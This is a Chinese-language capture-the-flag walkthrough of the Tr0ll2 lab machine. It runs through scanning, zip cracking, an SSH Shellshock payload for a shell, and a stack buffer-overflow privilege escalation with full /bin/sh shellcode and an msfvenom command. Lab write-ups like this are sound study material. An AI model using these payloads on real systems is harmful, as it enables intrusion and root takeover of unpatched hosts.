一、主机发现
arp-scan -l
靶机ip:192.168.55.164
二、端口扫描、漏洞扫描、目录枚举、指纹识别
2.1端口扫描
nmap --min-rate 10000 -p- 192.168.55.164
发现21端口的ftp服务开启
以UDP协议进行扫描
使用参数-sU
进行UDP扫描
nmap -sU --min-rate 10000 -p- 192.168.55.164
说明没有UDP端口开放
2.2漏洞扫描
nmap --script=vuln -p21,22,80 192.168.55.164
说明此靶机没有明显漏洞
2.3目录枚举
dirb http://192.168.55.164
2.4指纹识别
nmap 192.168.55.164 -sV -sC -O --version-all
指纹识别时看到21端口的ftp服务不能进行匿名登陆
三、进入靶机网页进行信息收集,拿到低权限shell
访问靶机网页,发现只有一张图片
3.1拿到密码文件
刚刚目录枚举出了一些信息
尝试在网页中打开
进去之后发现还是图片,这里感觉网站已经没有信息了,之后试了试中间件的漏洞,也没有合适的
随后将看到的图片都下载下来了,然后发现/noob这个目录下的图片名称有提示,让用cat查看该图片
去该目录下寻找答案
发现该文件是base64加密过的,尝试进行解密
base64 -d answer.txt > 1.txt
3.2拿到账号
这里只有密码,尝试去ftp服务找其它信息
根据提示,感觉用户名就是Tr0ll,密码也尝试一下Tr0ll
成功进入ftp服务,将其中的文件下载下来
下载后需要解压,发现解压需要密码
密码尝试使用刚刚解码后的文件,这里使用Fcrackzip工具
fcrackzip -u -D -p 1.txt lmao.zip
-u 用zip去尝试
-D 使用字典
-p 使用字符串作为初始密码/文件
fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。
解压后是一个私钥
3.3拿到低权限shell
使用noob用户进行ssh登录
ssh -i noob [email protected]
提示了sign_and_send_pubkey: no mutual signature supported,表示SSH连接时,客户端和服务器之间无法就公钥认证使用的签名算法达成一致。此时我们要加上一个 -o 参数
ssh -i noob [email protected] -o PubkeyAcceptedKeyTypes=+ssh-rsa
发现还是不行,不知道怎么办了,查资料发现是还有一个漏洞可以利用
发现shellshock攻击
ssh -i noob [email protected] -o PubkeyAcceptedKeyTypes=+ssh-rsa '() { :;}; /bin/bash'
成功拿下低权限shell
四、缓冲区溢出提权
升级shell
python -c 'import pty; pty.spawn("/bin/bash")'
4.1靶机信息收集
uname -a
lsb_release -a
尝试sudo提权,发现需要用户的密码
寻找SUID的命令
find / -perm -4000 -print 2>/dev/null
查找定时任务
crontab -l
没发现有用的信息
只能在目录中寻找其它信息
在根目录下找到这个文件,有点“此地无银三百两”的意思
进入之后找到了三个门
door1下的r00t会在执行后短时间内不可以执行命令
door2 下的r00t会退出ssh
查看这三个门下的文件大小
ls -lahR
发现只有7.2k和8.3k两种
其中8.3k的r00t文件提示需要提供参数
4.2缓冲区溢出漏洞(第一种方法)
4.2.1缓冲区溢出准备工作
首先要做的就是要把该程序拿到kali本机中
将8.3k的文件先进行base64编码
base64 r00t
然后将编码后的内容复制到kali中
然后在kali中将编码后的内容进行解码
cat 2 | base64 -d >r00t
使用gdb进行调试
disas main
发现存在缓冲区溢出函数
随后进行缓冲区溢出的调试
4.2.2判断溢出位置
使用msf的一个脚本
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 1000
注:
此处的1000为一个较大的值,可以为500,600等任意一个较大的值
然后在gbd调试时将刚刚生成的值run即可
找到了溢出位置:0x6a413969
4.2.3寻找偏移量
还是在/usr/share/metasploit-framework/tools/exploit
这个目录下使用msf的脚本
./pattern_offset.rb -q 6a413969 -l 1000
得知偏移量是268
4.2.4寻找ESP栈溢出地址
r $(python -c 'print ("A"*268 + "B"*4)') # 在GDB调试工具中 r表示启动调试当前程序
info r # 分析程序调试过程中的状态,在检查程序崩溃、调试函数调用及访问变量时,经常使用,前面已经有一个错误Program received signal SIGSEGV, Segmentation fault.,所以可以直接使用info r查看寄存器状态
eip也被覆盖
现在要找esp的位置
r $(python -c 'print ("A"*268 + "B"*4+"C"*20)')
经尝试,C字符写入8-20的时候,esp地址均为0xbffffb80
写入24之后就改变了
获得esp地址:0xbffffb80
注:
控制EIP跳转至shellcode,需要将shellcode设置到ESP地址。但在此之前,我们需要找到一个可靠的 ESP 地址。需要注意的是,OS 加载器将环境变量放在变化的堆栈区域之前,因此它会直接影响 ESP 地址。此外,如何调用程序也很重要。
通过取消设置环境变量参数LINES 和 COLUMNS来取消环境变量的影响,获取真实的ESP地址。
env - gdb r00t
show env
unset env LINES
unset env COLUMNS
去Shellcodes database for study cases网站上寻找exp
成功找到
构造payload:
./r00t $(python -c 'print "A"* 268 + "x80xfbxffxbf" + "x90" *20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')
成功提权!
4.3缓冲区溢出(第二种方法)
4.3.1寻找坏字符
此方法跟方法一只是反弹shell的方式不同,反弹shell之前的内容均相同
确定ESP的地址之后寻找坏字符
r $(python -c 'print "A"*268 + "B"*4 + "x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff" ')
查找坏字符:
x/256x $esp
x/256b $esp
两条命令互相使用,检查坏字符
0x00是一个坏字符
可知0x09是一个坏字符
去掉后继续进行测试
r $(python -c 'print "A"*268 + "B"*4 + "x01x02x03x04x05x06x07x08x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff" ')
发现依然错误,将0x0a去掉继续尝试
r $(python -c 'print "A"*268 + "B"*4 + "x01x02x03x04x05x06x07x08x0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff" ')
对照发现是0x20是坏字符,去掉继续尝试
r $(python -c 'print "A"*268 + "B"*4 + "x01x02x03x04x05x06x07x08x0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff" ')
发现后续的均连续,说明坏字符为:x00x0ax09x20
4.3.2msf编写payload
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b 'x00x09x0ax20' -e x86/shikata_ga_nai -fc
编写payload
./r00t $(python -c 'print ("A"*268 + "x80xfbxffxbf" + "x90"*20 + "xbaxa0x03xb5x23xdaxc8xd9x74x24xf4x5ex29xc9xb1x0bx83xc6x04x31x56x11x03x56x11xe2x55x69xbex7bx0cx3cxa6x13x03xa2xafx03x33x0bxc3xa3xc3x3bx0cx56xaaxd5xdbx75x7exc2xd4x79x7ex12xcax1bx17x7cx3bxafx8fx80x14x1cxc6x60x57x22")')
成功提权!
原文始发于微信公众号(泷羽Sec-pp502的安全笔记):Tr0ll2靶机详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论